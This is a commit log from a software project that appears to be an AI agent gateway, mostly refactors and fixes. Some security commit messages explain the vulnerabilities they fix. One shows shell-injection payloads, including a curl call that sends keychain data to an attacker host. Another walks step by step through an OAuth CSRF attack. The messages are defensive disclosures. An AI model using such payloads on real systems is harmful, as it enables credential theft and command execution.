Commit Graph

1742 Commits

Author SHA1 Message Date
Peter Steinberger
123ae82fca refactor(auth): dedupe legacy auth store migration 2026-02-14 21:48:02 +00:00
Peter Steinberger
182afe9f59 refactor(sandbox): share workspace layout setup 2026-02-14 21:46:43 +00:00
Peter Steinberger
5db579f2e0 refactor(test): reuse sanitize session history fixtures 2026-02-14 21:39:58 +00:00
Peter Steinberger
96f80d6d82 refactor(test): share models-config e2e setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
d73f3336de fix(exec): close stdin for non-pty runs 2026-02-14 22:01:54 +01:00
Peter Steinberger
c06a962bb6 test(e2e): stabilize suite 2026-02-14 22:01:11 +01:00
Peter Steinberger
ee8d8be2e3 fix(chutes): accept manual OAuth code input 2026-02-14 22:01:11 +01:00
Peter Steinberger
c5406e1d24 fix(security): prevent gatewayUrl SSRF 2026-02-14 22:01:11 +01:00
Peter Steinberger
e95ce05c1e chore(security): soften gatewayUrl override messaging 2026-02-14 21:53:30 +01:00
Peter Steinberger
2d5647a804 fix(security): restrict tool gatewayUrl overrides 2026-02-14 21:53:14 +01:00
Peter Steinberger
0ab4ac6468 test: drop duplicate isMessagingToolDuplicate suite 2026-02-14 20:25:11 +00:00
Peter Steinberger
e4d63818f5 fix: ignore tools.exec.pathPrepend for node hosts 2026-02-14 20:45:05 +01:00
Michael Verrilli
e6f67d5f31 fix(agent): prevent session lock deadlock on timeout during compaction (#9855)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 64a28900f183941a496a6fd5baaa9efcfb38f0f8
Co-authored-by: mverrilli <816450+mverrilli@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 14:24:20 -05:00
Mariano
5544646a09 security: block apply_patch path traversal outside workspace (#16405)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0fcd3f8c3a15993980eb89ecdae3e76de4f3f72d
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-14 19:11:12 +00:00
Peter Steinberger
222b2d7c3c refactor(test): trim pi-embedded-runner e2e scaffolding 2026-02-14 19:04:39 +00:00
Peter Steinberger
24d2c6292e refactor(security): refine safeBins hardening 2026-02-14 19:59:13 +01:00
Peter Steinberger
eed6113359 refactor(skills): stabilize watcher targets and include agents skills 2026-02-14 19:54:11 +01:00
Peter Steinberger
77e8a80908 chore: fix lint after compaction handler split 2026-02-14 18:46:24 +00:00
Peter Steinberger
a3c695faae perf(test): speed up compaction hook wiring tests 2026-02-14 18:46:24 +00:00
Robby
cab0abf52a fix(sessions): resolve transcript paths with explicit agent context (#16288)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7cbe9deca9b7fc9efa5d2320acb058bc9fbea48c
Co-authored-by: robbyczgw-cla <239660374+robbyczgw-cla@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 13:44:51 -05:00
Peter Steinberger
77b89719d5 fix(security): block safeBins shell expansion 2026-02-14 19:44:14 +01:00
Peter Steinberger
9409942de4 test(skills): run skills watcher test in unit suite 2026-02-14 19:26:20 +01:00
Peter Steinberger
0e046f61ab fix(skills): avoid skills watcher FD exhaustion
Watch SKILL.md only (and one-level SKILL.md in skill roots) to prevent chokidar from tracking huge unrelated trees.

Co-authored-by: household-bard <shakespeare@hessianinformatics.com>
2026-02-14 19:26:20 +01:00
Peter Steinberger
d3483590fb perf(test): stub readability in cf-markdown tests 2026-02-14 17:56:39 +00:00
Peter Steinberger
d714ac7797 refactor(agents): dedupe transient error copy (#16324) 2026-02-14 17:49:25 +01:00
Vincent
478af81706 Return user-facing message if API reuturn 429 API rate limit reached #2202 (#10415)
* Return user-facing message if API reuturn 429 API rate limit reached

* clarify the error message

* fix(agents): improve 429 user messaging (#10415) (thanks @vincenthsin)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:40:02 +01:00
Peter Steinberger
76e4e9d176 perf(test): reduce skills + update + memory suite overhead 2026-02-14 16:36:15 +00:00
Peter Steinberger
ebc68861a6 fix: remove unused imports 2026-02-14 17:35:16 +01:00
Peter Steinberger
d3428053d9 fix: redact config values in skills status 2026-02-14 17:35:16 +01:00
Peter Steinberger
b908388245 test(security): remove redundant cli-credentials e2e tests 2026-02-14 17:25:48 +01:00
Peter Steinberger
66d7178f2d fix(security): eliminate shell from Claude CLI keychain refresh 2026-02-14 17:24:29 +01:00
Aether AI
9dce3d8bf8 fix(security): prevent shell injection in macOS keychain credential write (#15924)
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).

## Vulnerable Code

The previous implementation built a shell command via string
interpolation with single-quote escaping:

  execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)

The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.

## Attack Vector

User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`

These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.

## Fix

execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:

  execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])

This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
2026-02-14 17:06:10 +01:00
Peter Steinberger
eb60e2e1b2 fix(security): harden CLI cleanup kill and matching 2026-02-14 16:49:38 +01:00
Peter Steinberger
6084d13b95 fix(security): scope CLI cleanup to owned child PIDs 2026-02-14 16:43:35 +01:00
Peter Steinberger
d82c5ea9d1 refactor(utils): share safe json stringify 2026-02-14 15:39:46 +00:00
Peter Steinberger
0dbe087ef8 refactor(pi-embedded-runner): dedupe attempt params 2026-02-14 15:39:45 +00:00
Peter Steinberger
270779b2cd refactor(shared): derive requirements from metadata 2026-02-14 15:39:45 +00:00
Peter Steinberger
4f61a3f527 refactor(shared): centralize requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger
268c14f021 refactor(tools): centralize default policy steps 2026-02-14 15:39:45 +00:00
Peter Steinberger
f97ad8f288 refactor(tools): share tool policy pipeline 2026-02-14 15:39:45 +00:00
Peter Steinberger
ece55b4682 refactor(shared): dedupe frontmatter parsing 2026-02-14 15:39:45 +00:00
Peter Steinberger
bc0160d0f2 refactor(shared): dedupe requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger
06bc9f368b refactor(nodes): share node id matcher 2026-02-14 15:39:45 +00:00
Peter Steinberger
b769b65b48 refactor(browser): share proxy file helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
25ecd4216c refactor(shared): dedupe config path eval 2026-02-14 15:39:45 +00:00
Peter Steinberger
60a7625f2a refactor(agents): share glob matcher 2026-02-14 15:39:44 +00:00
Peter Steinberger
50a6e0e69e fix: strip leading empty lines in sanitizeUserFacingText (#16280)
* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)
2026-02-14 16:34:02 +01:00
Jake
3881af5b37 fix: strip leading whitespace from sanitizeUserFacingText output (#16158)
* fix: strip leading whitespace from sanitizeUserFacingText output

LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.

Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value

Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.

* Changelog: note sanitizeUserFacingText whitespace normalization

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 09:23:05 -06:00
Peter Steinberger
1f1fc095a0 refactor(sandbox): auto-recreate browser container on config changes (#16254) 2026-02-14 15:47:59 +01:00
Aether AI
3967ece625 fix(security): OC-25 — Validate OAuth state parameter to prevent CSRF attacks (#16058)
* fix(security): validate OAuth state parameter to prevent CSRF attacks (OC-25)

The parseOAuthCallbackInput() function in the Chutes OAuth flow had two
critical bugs that completely defeated CSRF state validation:

1. State extracted from callback URL was never compared against the
   expected cryptographic nonce, allowing attacker-controlled state values
2. When URL parsing failed (bare authorization code input), the catch block
   fabricated a matching state using expectedState, making the caller's
   CSRF check always pass

## Attack Flow

1. Victim runs `openclaw login chutes --manual`
2. System generates cryptographic state: randomBytes(16).toString("hex")
3. Browser opens: https://api.chutes.ai/idp/authorize?state=abc123...
4. Attacker obtains their OWN OAuth authorization code (out of band)
5. Attacker tricks victim into pasting just "EVIL_CODE" (not full URL)
6. parseOAuthCallbackInput("EVIL_CODE", "abc123...") is called
7. new URL("EVIL_CODE") throws → catch block executes
8. catch returns { code: "EVIL_CODE", state: "abc123..." } ← FABRICATED
9. Caller checks: parsed.state !== state → "abc123..." !== "abc123..." → FALSE
10. CSRF check passes! System calls exchangeChutesCodeForTokens()
11. Attacker's code exchanged for access + refresh tokens
12. Victim's account linked to attacker's OAuth session

Fix:
- Add explicit state validation against expectedState before returning
- Remove state fabrication from catch block; always return error for
  non-URL input
- Add comprehensive unit tests for state validation

Remediated by Aether AI Agent security analysis.

* fix(security): harden chutes manual oauth state check (#16058) (thanks @aether-ai-agent)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 15:28:52 +01:00